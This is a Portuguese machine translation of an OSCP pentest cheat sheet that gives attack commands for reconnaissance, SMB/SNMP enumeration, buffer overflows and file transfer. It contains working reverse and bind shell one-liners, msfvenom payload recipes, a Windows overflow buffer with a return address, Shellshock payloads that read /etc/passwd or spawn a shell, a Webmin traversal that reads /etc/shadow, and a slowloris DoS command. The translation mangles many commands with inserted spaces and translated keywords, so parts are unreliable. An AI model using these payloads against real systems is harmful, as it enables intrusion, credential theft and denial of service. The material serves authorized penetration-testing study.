Você está na página 1de 55

Guia de sobrevivência OSCP

3 DE NOVEMBRO DE 2018

OSCP-Survival-Guide

NOTA: Este documento se refere ao ip de destino como a variável de exportação $ ip.

Para definir esse valor na linha de comando, use a seguinte sintaxe:

export ip = 192.168.1.100

Índice

Kali Linux

Coleta de informações e verificação de vulnerabilidades

Coleta de informações passivas

Coleta de informações ativas

Port Scanning

Enumeração

Enumeração HTTP

Estouros de buffer e explorações

Cartuchos

Transferências de arquivo

Escalonamento de privilégios

Escalonamento de privilégios Linux

Escalonamento de privilégios do Windows

Ataques de cliente, web e senha

Ataques de cliente

Ataques na web

Vulnerabilidades de inclusão de arquivo LFI / RFI

Vulnerabilidades de banco de dados

Ataques de senha

Ataques de hash de senha

Networking, Pivoting e Tunneling

O Framework Metasploit

Ignorando software antivírus

Kali Linux
Defina o endereço IP de destino para a variável do sistema$ip

export ip=192.168.1.100

Encontre a localização de um arquivo

locate sbd.exe

Pesquisar diretórios na variável de ambiente$PATH

which sbd

Encontre uma busca por um arquivo que contém uma string específica em seu nome:

find / -name sbd\*

Mostrar conexões de internet ativas

netstat -lntp

Mudar senha

passwd

Verifique se um serviço está funcionando e ouvindo

netstat -antp |grep apache

Inicie um serviço

systemctl start ssh

systemctl start apache2

Faça um serviço iniciar na inicialização

systemctl enable ssh

Pare um serviço

systemctl stop ssh

Descompacte um arquivo gz

gunzip access.log.gz

Descompacte um arquivo tar.gz

tar -xzvf file.tar.gz

Pesquisar histórico de comandos

history | grep phrase_to_search_for

Baixe uma página da web

wget http://www.cisco.com

Abra uma página da web

curl http://www.cisco.com
Manipulação de cordas

Contar o número de linhas no arquivo

wc -l index.html

Obtenha o início ou o fim de um arquivo

head index.html

tail index.html

Extraia todas as linhas que contêm uma string

grep "href=" index.html

Corte uma string por um delimitador, filtre os resultados e classifique

grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

Usando Grep e expressões regulares e saída para um arquivo

cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt

Use um loop bash para encontrar o endereço IP por trás de cada host

for url in $(cat list.txt); do host $url; done

Colete todos os endereços IP de um arquivo de log e classifique por frequência

cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Decodificando usando Kali

Decodificar Valores Codificados em Base64

echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

Decodificar valores codificados hexadecimais

echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

Netcat - ler e gravar pacotes TCP e UDP

Baixe Netcat para Windows (útil para criar shells reversas e transferir arquivos em sistemas
Windows):https://joncraton.org/blog/46/netcat-for-windows/

Conecte-se a um servidor de e-mail POP3

nc -nv $ip 110

Ouça na porta TCP / UDP

nc -nlvp 4444

Conecte a uma porta netcat

nc -nv $ip 4444

Envie um arquivo usando netcat


nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

Receber um arquivo usando netcat

nc -nlvp 4444 > incoming.exe

Alguns sistemas operacionais (OpenBSD) usarão nc.traditional em vez de nc, portanto, fique
atento a isso ...

whereis nc

nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

Crie um shell reverso com Ncat usando cmd.exe no Windows

nc.exe -nlvp 4444 -e cmd.exe

ou

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

Crie um shell reverso com Ncat usando bash no Linux

nc -nv $ip 4444 -e /bin/bash

Netcat para captura de banner:

echo "" | nc -nv -w1 <IP Address> <Ports>

Ncat - Netcat para projeto Nmap que fornece mais segurança evita IDS

Inverta o shell do Windows usando cmd.exe usando ssl

ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

Ouça na porta 4444 usando SSL

ncat -v $ip 4444 --ssl

Wireshark

Mostrar apenas tráfego SMTP (porta 25) e ICMP:

tcp.port eq 25 or icmp

Mostra apenas o tráfego na LAN (192.168.xx), entre estações de trabalho e servidores - sem
Internet:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

Filtre por um protocolo (por exemplo, SIP) e filtre IPs indesejados:

ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

Alguns comandos são iguais

ip.addr == xxx.xxx.xxx.xxx
É igual a

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

ip.addr != xxx.xxx.xxx.xxx

É igual a

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump

Exibir um arquivo pcap

tcpdump -r passwordz.pcap

Exibir ips e filtrar e classificar

tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

Obtenha uma captura de pacote na porta 80

tcpdump tcp port 80 -w output.pcap -i eth0

Verifique se há sinalizador ACK ou PSH definido em um pacote TCP

tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

IPTables

Negar tráfego para portas, exceto para Loopback local

iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP

iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

Limpar TODAS as regras de firewall do IPTables

```bash

iptables -P INPUT ACCEPT

iptables -P FORWARD ACCEPT

iptables -P OUTPUT ACCEPT

iptables -t nat -F

iptables -t mangle -F

iptables -F

iptables -X

iptables -t raw -F iptables -t raw -X

```

Coleta de informações e verificação de vulnerabilidades

Coleta de informações passivas


Hacking do Google

Pesquisa do Google para encontrar subdomínios de sites

site:microsoft.com

Tipo de arquivo do Google e intitle

intitle:"netbotz appliance" "OK" -filetype:pdf

Inurl do Google

inurl:"level/15/sexec/-/show"

Banco de dados de hackers do Google:

https://www.exploit-db.com/google-hacking-database/

Teste de certificado SSL

https://www.ssllabs.com/ssltest/analyze.html

Coleta de Email

Simplesmente Email

git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

Netcraft

Determine o sistema operacional e as ferramentas usadas para construir um site

https://searchdns.netcraft.com/

Enumeração Whois

whois domain-name-here.com

whois $ip

Agarrando Banner

nc -v $ip 25

telnet $ip 25

nc TARGET-IP 80

Recon-ng - framework completo de reconhecimento da web escrito em Python

cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git

cd /opt/recon-ng

./recon-ng

show modules

help
Coleta de informações ativas

Port Scanning

Tabela de referência de sub-rede

/ Endereços Hosts Máscara de rede Quantidade de uma classe C

/ 30 4 2 255.255.255.252 1/64

/ 29 8 6 255.255.255.248 1/32

/ 28 16 14 255.255.255.240 1/16

/ 27 32 30 255.255.255.224 1/8

/ 26 64 62 255.255.255.192 1/4

/ 25 128 126 255.255.255.128 1/2

/ 24 256 254 255.255.255.0 1

/ 23 512 510 255.255.254.0 2

/ 22 1024 1022 255.255.252.0 4

/ 21 2048 2046 255.255.248.0 8

/ 20 4096 4094 255.255.240.0 16

/ 19 8192 8190 255.255.224.0 32

/ 18 16384 16382 255.255.192.0 64

/ 17 32768 32766 255.255.128.0 128

/ 16 65536 65534 255.255.0.0 256

Defina o endereço IP como uma variável

export ip=192.168.1.100 nmap -A -T4 -p- $ip

Verificação de porta Netcat

nc -nvv -w 1 -z $ip 3388-3390

Descubra IPs ativos usando ARP na rede: arp-scan $ip/24

Descubra quem mais está na rede

netdiscover

Descubra fornecedores IP Mac e Mac da ARP

netdiscover -r $ip/24

Nmap stealth scan usando SYN

nmap -sS $ip

Nmap stealth scan usando FIN


nmap -sF $ip

Captura de Banner Nmap

nmap -sV -sT $ip

Impressão digital do Nmap OS

nmap -O $ip

Varredura regular do Nmap:

nmap $ip/24

Varredura de enumeração

nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

Enumeração, escanear todas as portas TCP / UDP e enviar para um arquivo txt

nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

Saída Nmap para um arquivo:

nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24

Escaneamento rápido:

nmap -T4 -F $ip/24

Quick Scan Plus:

nmap -sV -T4 -O -F --version-light $ip/24

Traceroute rápido

nmap -sn --traceroute $ip

Todas as portas TCP e UDP

nmap -v -sU -sS -p- -A -T4 $ip

Varredura intensa:

nmap -T4 -A -v $ip

Intenso Scan Plus UDP

nmap -sS -sU -T4 -A -v $ip/24

Varredura intensa em TODAS as portas TCP

nmap -p 1-65535 -T4 -A -v $ip/24

Varredura Intensa - Sem Ping

nmap -T4 -A -v -Pn $ip/24

Verificação de ping

nmap -sn $ip/24


Leitura abrangente lenta

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or
(discovery and safe)" $ip/24

Faça a varredura com conexão ativa para eliminar quaisquer portas falsificadas projetadas para
enganá-lo

nmap -p1-65535 -A -T5 -sT $ip

Enumeração

Enumeração DNS

Pesquisa de nomes de host DNS NMAP nmap -F --dns-server <dns server ip> <target ip range>

Pesquisa de host

host -t ns megacorpone.com

Força bruta de pesquisa reversa - encontre domínios no mesmo intervalo

for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"

Executar pesquisa de IP DNS

dig a domain-name-here.com @nameserver

Executar pesquisa de registro MX

dig mx domain-name-here.com @nameserver

Realizar transferência de zona com DIG

dig axfr domain-name-here.com @nameserver

Transferências de zona DNS Transferência de

zona DNS do Windows

nslookup -> set type=any -> ls -d blah.com

Transferência de zona Linux DNS

dig axfr blah.com @ns1.blah.com

Dnsrecon DNS Brute Force

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Lista DNS Dnsrecon da megacorp

dnsrecon -d megacorpone.com -t axfr

DNSEnum

dnsenum zonetransfer.me

Lista de scripts de enumeração NMap:

NMap Discovery
https://nmap.org/nsedoc/categories/discovery.html

Potência MÁXIMA de detecção de versão da porta Nmap

nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>

Enumeração NFS (Network File System)

Mostrar compartilhamentos NFS montáveis nmap -sV --script=nfs-showmount $ip

Enumeração RPC (Remote Procedure Call)

Conecte-se a um compartilhamento RPC sem um nome de usuário e senha e enumere


privilégios rpcclient --user="" --command=enumprivs -N $ip

Conecte-se a um compartilhamento RPC com um nome de usuário e enumere privilégios


rpcclient --user="<Username>" --command=enumprivs $ip

Enumeração SMB

Descoberta de SMB OS

nmap $ip --script smb-os-discovery.nse

Varredura de porta Nmap

nmap -v -p 139,445 -oG smb.txt $ip-254

Digitalização de informação Netbios

nbtscan -r $ip/24

Nmap encontra servidores Netbios expostos

nmap -sU --script nbstat.nse -p 137 $ip

Nmap todos os scripts SMB verificam

nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or
fuzzer)' --script-args=unsafe=1 $ip

Nmap todos os scripts SMB autenticados scan

nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password>


--script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-
args=unsafe=1 $ip

Ferramentas de enumeração SMB

nmblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U "" $ip

enum4linux $ip

enum4linux -a $ip

Impressão digital SMB


smbclient -L //$ip

Nmap Scan para Open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args


smbuser=username,smbpass=password -p445 192.168.10.0/24

Nmap scans para SMB Servers vulneráveis

nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

Nmap Lista todos os scripts SMB instalados

ls -l /usr/share/nmap/scripts/smb*

Enumerar usuários SMB

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14

OU

python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip

Ciclismo RID - Sessões Nulas

ridenum.py $ip 500 50000 dict.txt

Teste manual de sessão nula

Janelas: net use \\$ip\IPC$ "" /u:""

Linux: smbclient -L //$ip

Enumeração SMTP - servidores de correio

Verifique a porta SMTP usando Netcat

nc -nv $ip 25

Enumeração POP3 - Lendo e-mails de outras pessoas - Você pode encontrar nomes de usuário
e senhas para contas de e-mail, então aqui está como verificar o e-mail usando Telnet

root@kali:~# telnet $ip 110

+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready

USER billydean

+OK

PASS password

+OK Welcome billydean

list

+OK 2 1807
1 786

2 1021

retr 1

+OK Message follows

From: jamesbrown@motown.com

Dear Billy Dean,

Here is your login for remote desktop ... try not to forget it this time!

username: billydean

password: PA$$W0RD!Z

Enumeração SNMP - Protocolo de gerenciamento de rede simples

Corrija os valores de saída SNMP para que sejam legíveis por humanos

apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf

Comandos de enumeração SNMP

snmpcheck -t $ip -c public

snmpwalk -c public -v1 $ip 1|

grep hrSWRunName|cut -d\* \* -f

snmpenum -t $ip

onesixtyone -c names -i hosts

Enumeração SNMPv3

nmap -sV -p 161 --script=snmp-info $ip/24

Automatize o processo de enumeração de nome de usuário para SNMPv3:

apt-get install snmp snmp-mibs-downloader wget


https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

SNMP Default Credentials

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Enumeração MS SQL Server

Coleta de informações do Nmap

nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-


config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-
name=MSSQLSERVER $ip

Webmin e miniserv / Enumeração 0,01 - Porta 10000

Teste a vulnerabilidade de divulgação de arquivos e LFI acessando / etc / passwd

`curl http://$ip:10000//unauthenticated/..
%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01
/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%
01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`

Teste para ver se o webmin está rodando como root clicando em / etc / shadow

`curl http://$ip:10000//unauthenticated/..
%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01
/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%
01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`

Enumeração Linux OS

Liste todos os arquivos SUID

find / -perm -4000 2>/dev/null

Determine a versão atual do Linux

cat /etc/issue

Determine mais informações sobre o ambiente

uname -a

Listar processos em execução

ps -xaf

Liste os comandos permitidos (e proibidos) para o uso de chamada

sudo -l

Listar regras de iptables

iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL
-t raw iptables -vL -t security

Enumeração do sistema operacional Windows

estação de trabalho net config

Informação do sistema findstr / B / C: ”Nome do SO” / C: ”Versão do SO”

nome de anfitrião

usuários da rede

ipconfig / all

impressão de rota
arp -A

netstat -ano

netsh firewall show state

netsh firewall show config

schtasks / query / fo LIST / v

lista de tarefas / SVC

net start

DRIVERQUERY

consulta reg HKLM \ SOFTWARE \ Policies \ Microsoft \ Windows \ Installer \


AlwaysInstallElevated

reg query HKCU \ SOFTWARE \ Policies \ Microsoft \ Windows \ Installer \


AlwaysInstallElevated

dir / s passar == cred == vnc == .config

senha findstr / si * .xml * .ini * .txt

consulta de registro HKLM / senha f / t REG_SZ / s

consulta de registro HKCU / senha f / t REG_SZ / s

Verificação de vulnerabilidade com Nmap

Scripts de exploração do Nmap

https://nmap.org/nsedoc/categories/exploit.html

Pesquisa Nmap através de scripts de vulnerabilidade

cd /usr/share/nmap/scripts/ ls -l \*vuln\*

Pesquisa Nmap por meio de scripts Nmap para uma palavra-chave específica

ls /usr/share/nmap/scripts/\* | grep ftp

Procure exploits vulneráveis com o nmap

nmap --script exploit -Pn $ip

Scripts de autenticação NMap

https://nmap.org/nsedoc/categories/auth.html

Nmap Vuln Scanning

https://nmap.org/nsedoc/categories/vuln.html

Varredura NMap DOS

nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script
http-slowloris --script-args http-slowloris.runforever=true
Verificar vulnerabilidades de fusão a frio na web

nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

Despejo de FTP anônimo com Nmap

nmap -v -p 21 --script=ftp-anon.nse $ip-254

Verificação do modo de segurança SMB com Nmap

nmap -v -p 21 --script=ftp-anon.nse $ip-254

Enumeração de arquivo

Encontrar UID 0 arquivos de execução raiz

/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null

Obtenha um prático script de enumeração do sistema de arquivos do Linux (/ var / tmp)

wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh


./linux-local-enum.sh

Encontre arquivos executáveis atualizados em agosto

find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep
Aug

Encontre um arquivo específico no linux

find /. -name suid\*

Encontre todas as strings em um arquivo

strings <filename>

Determine o tipo de arquivo

file <filename>

Enumeração HTTP

Pesquise por pastas com gobuster:

gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip

OWasp DirBuster - enumeração de pasta Http - pode levar um arquivo de dicionário

Dirb - Pesquisa de força bruta de diretório usando um arquivo de dicionário

dirb http://$ip/ wordlist.dict dirb <http://vm/>

Dirb contra um proxy

dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129

Nikto

nikto -h $ip

Enumeração HTTP com NMAP


nmap --script=http-enum -p80 -n $ip/24

Nmap Verifique os métodos do servidor

nmap --script http-methods --script-args http-methods.url-path='/test' $ip

Obtenha opções disponíveis no servidor web curl -vX OPTIONS vm/test

Localizador de diretório Uniscan:

uniscan -qweds -u <http://vm/>

Wfuzz - A força bruta da web

wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test

wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?


page=mailer&mail=FUZZ"

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ

Recurse nível 3

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ

Abra um serviço usando uma porta knock (protegido com Knockd)

para x em 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $ x


server_ip_address; feito

WordPress Scan - scanner de segurança Wordpress

wpscan –url $ ip / blog –proxy $ ip: 3129

Enumeração RSH - Sistema de transferência de arquivos não criptografado

auxiliary / scanner / rservices / rsh_login

Enumeração de dedo

dedo @ $ ip

dedo batman @ $ ip

Teste TLS e SSL

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ ip aha> OUTPUT-FILE.html

Enumeração de proxy (útil para proxies abertos)

nikto -useproxy http: // $ ip: 3128 -h $ ip

Esteganografia

apt-get install steghide

extrato de steghide -sf picture.jpg

steghide info picture.jpg


apt-get install stegosuite

O OpenVAS Vulnerability Scanner

apt-get update

apt-get install openvas

openvas-setup

netstat -tulpn

Faça login em:

https: // $ ip: 9392

Estouros de buffer e explorações

DEP e ASLR - Prevenção de Execução de Dados (DEP) e Randomização de Layout de Espaço de


Endereço (ASLR)

Fuzzers Nmap:

Lista NMap Fuzzer

https://nmap.org/nsedoc/categories/fuzzer.html

NMap HTTP Form Fuzzer

nmap –script http-form-fuzzer –script-args 'http-form-fuzzer.targets = {1 = {path = /}, 2 = {path


= / register.html}}' -p 80 $ ip

Nmap DNS Fuzzer

nmap –script dns-fuzz –script-args timelimit = 2h $ ip -d

MSFvenom

https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Estouros de buffer do Windows

Controlando EIP

locate pattern_create

pattern_create.rb -l 2700

locate pattern_offset

pattern_offset.rb -q 39694438

Verifique a localização exata do EIP - [*] Correspondência exata no deslocamento 2606

buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90

Verifique se há “caracteres incorretos” - execute várias vezes 0x00 - 0xFF

Use Mona para determinar um módulo que está desprotegido


Ignore DEP, se presente, encontrando um local de memória com acesso de leitura e execução
para JMP ESP

Use NASM para determinar o código HEX para uma instrução JMP ESP

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

JMP ESP

00000000 FFE4 jmp esp

Execute Mona na janela de registro de imunidade para encontrar o comando XEF (FFE4)

!mona find -s "\xff\xe4" -m slmfc.dll

found at 0x5f4a358f - Flip around for little endian format

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390

MSFVenom para criar carga útil

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b


"\x00\x0a\x0d"

Carga útil final com slide NOP

buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

Criar um Shell reverso PE

msfvenom -p windows / shell_reverse_tcp LHOST = $ ip LPORT = 4444 -f

exe -o shell_reverse.exe

Crie um Shell reverso PE e codifique 9 vezes com Shikata_ga_nai

msfvenom -p windows / shell_reverse_tcp LHOST = $ ip LPORT = 4444 -f

exe -e x86 / shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

Crie um shell reverso PE e incorpore-o a um executável existente

msfvenom -p windows / shell_reverse_tcp LHOST = $ ip LPORT = 4444 -f exe -e x86 /


shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o
shell_reverse_msf_encoded_embedded.exe

Criar um shell PE reverso HTTPS

msfvenom -p windows / meterpreter / reverse_https LHOST = $ ip LPORT = 443 -f exe -o


met_https_reverse.exe

Estouros de buffer do Linux

Execute o Evans Debugger em um aplicativo

edb –run / usr / games / crossfire / bin / crossfire

O registro ESP aponta para o final de nosso CBuffer


add eax, 12

jmp eax

83C00C add eax, byte + 0xc

FFE0 jmp eax

Verifique se há “caracteres inválidos” no processo de eliminação - Executar várias vezes 0x00 -


0xFF

Encontre o endereço JMP ESP

“\ x97 \ x45 \ x13 \ x08” # Encontrado no endereço 08134597

crash = “\ x41” * 4368 + “\ x97 \ x45 \ x13 \ x08” + “\ x83 \ xc0 \ x0c \ xff \ xe0 \ x90 \ x90”

msfvenom -p linux / x86 / shell_bind_tcp LPORT = 4444 -fc -b “\ x00 \ x0a \ x0d \ x20” –e x86 /
shikata_ga_nai

Conecte-se ao shell com netcat:

nc -v $ ip 4444

Cartuchos

Ouvinte Netcat Shell

nc -nlvp 4444

Gerando um Shell TTY - Saia da Jail ou shell limitado Você quase sempre deve atualizar seu
shell após assumir o controle de um usuário apache ou www.

(For example when you encounter an error message when trying to run an exploit sh: no job
control in this shell )

(hint: sudo -l to see what you can run)

Você pode encontrar shells limitados que usam rbash e só permitem que você execute um
único comando por sessão. Você pode superar isso executando um shell SSH em seu host local:

ssh user@$ip nc $localip 4444 -e /bin/sh

enter user's password

python -c 'import pty; pty.spawn("/bin/sh")'

export TERM=linux

python -c 'import pty; pty.spawn("/bin/sh")'

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);
s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

echo os.system('/bin/bash')
/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

rubi: exec "/bin/sh"

lua: os.execute('/bin/sh')

De dentro do IRB: exec "/bin/sh"

De dentro do vi: ou:!bash

:set shell=/bin/bash:shell

De dentro do vim ':!bash':

De dentro do nmap: !sh

De dentro do tcpdump

echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo
tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

De Busybox /bin/busybox telnetd -|/bin/sh -p9999

Pen test monkey PHP reverso

http://pentestmonkey.net/tools/web-shells/php-reverse-shel

php-foundock-shell - transforma a porta 80 do PHP em um shell interativo

http://pentestmonkey.net/tools/web-shells/php-findsock-shell

Shell reverso Perl

http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

Navegador da web com PHP Shell b374k com upload de arquivo etc.

https://github.com/b374k/b374k

Shell reverso do Windows - script Invoke-Shellcode do PowerSploit e injeta um shell


Meterpreterhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/In
voke-Shellcode.ps1

Backdoors web do Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-


backdoors

Criando Meterpreter Shells com MSFVenom -


http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-
msfvenom-payloads/

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port


to Connect On> -f elf > shell.elf

janelas
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to


Connect On> -f macho > shell.macho

Payloads da Web

PHP

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f


raw > shell.php

OU

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to


Connect On> -f raw > shell.php

Em seguida, precisamos adicionar o <? Php na primeira linha do arquivo para que ele seja
executado como uma página da web PHP:

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port


to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to


Connect On> -f raw > shell.jsp

GUERRA

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to


Connect On> -f war > shell.war

Scripting Payloads

Pitão

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to


Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect


On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect


On> -f raw > shell.pl

Shellcode
Para todos os códigos de shell, consulte 'msfvenom –help-formatos' para informações sobre
parâmetros válidos. Msfvenom produzirá código que pode ser cortado e colado nesta
linguagem para seus exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port


to Connect On> -f <language>

Shellcode Windows Based

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port


to Connect On> -f <language>

Shellcode baseado em Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to


Connect On> -f <language>

Handlers Os manipuladores Metasploit podem ser ótimos para configurar rapidamente o


Metasploit para estar em uma posição de receber os shells de entrada. Os manipuladores
devem estar no seguinte formato.

use exploit/multi/handler

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

set ExitOnSession false

exploit -j -z

Assim que os valores requeridos forem completados, o seguinte comando irá executar seu
manipulador - 'msfconsole -L -r'

SSH para Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-


meterpreter-try-this/

use auxiliary/scanner/ssh/ssh_login

use post/multi/manage/shell_to_meterpreter

SBD.exe

sbd é um clone do Netcat, projetado para ser portátil e oferecer criptografia forte. Ele roda em
sistemas operacionais do tipo Unix e no Microsoft Win32. sbd apresenta criptografia AES-CBC-
128 + HMAC-SHA1 (por Christophe Devine), execução de programa (opção -e), escolha da
porta de origem, reconexão contínua com atraso e alguns outros recursos interessantes. sbd
suporta apenas comunicação TCP / IP. O sbd.exe (parte da distribuição Kali linux:
/usr/share/windows-binaries/backdoors/sbd.exe) pode ser carregado em uma caixa do
Windows como uma alternativa ao Netcat.

Trauma pós guerra


Testando o choque da bomba com NMap

root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-


bin/admin.cgi $ip

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

Shell Shock SSH Forced Command

Verifique se há comando forçado ativando toda a saída de depuração com ssh

ssh -vvv

ssh -i noob noob@$ip '() { :;}; /bin/bash'

arquivo cat (ver o conteúdo do arquivo)

echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$


(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

Shell Shock executar bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e


/bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

Transferências de arquivo

A pós-exploração refere-se às ações executadas por um invasor, uma vez que algum nível de
controle foi obtido em seu alvo.

Servidores da Web locais simples

Execute um servidor http básico, ótimo para servir shells etc.

python -m SimpleHTTPServer 80

Execute um servidor http Python3 básico, ótimo para servir shells etc.

python3 -m http.server

Execute um servidor ruby webrick básico http

ruby -rwebrick -e “WEBrick :: HTTPServer.new

(: Port => 80,: DocumentRoot => Dir.pwd) .start”

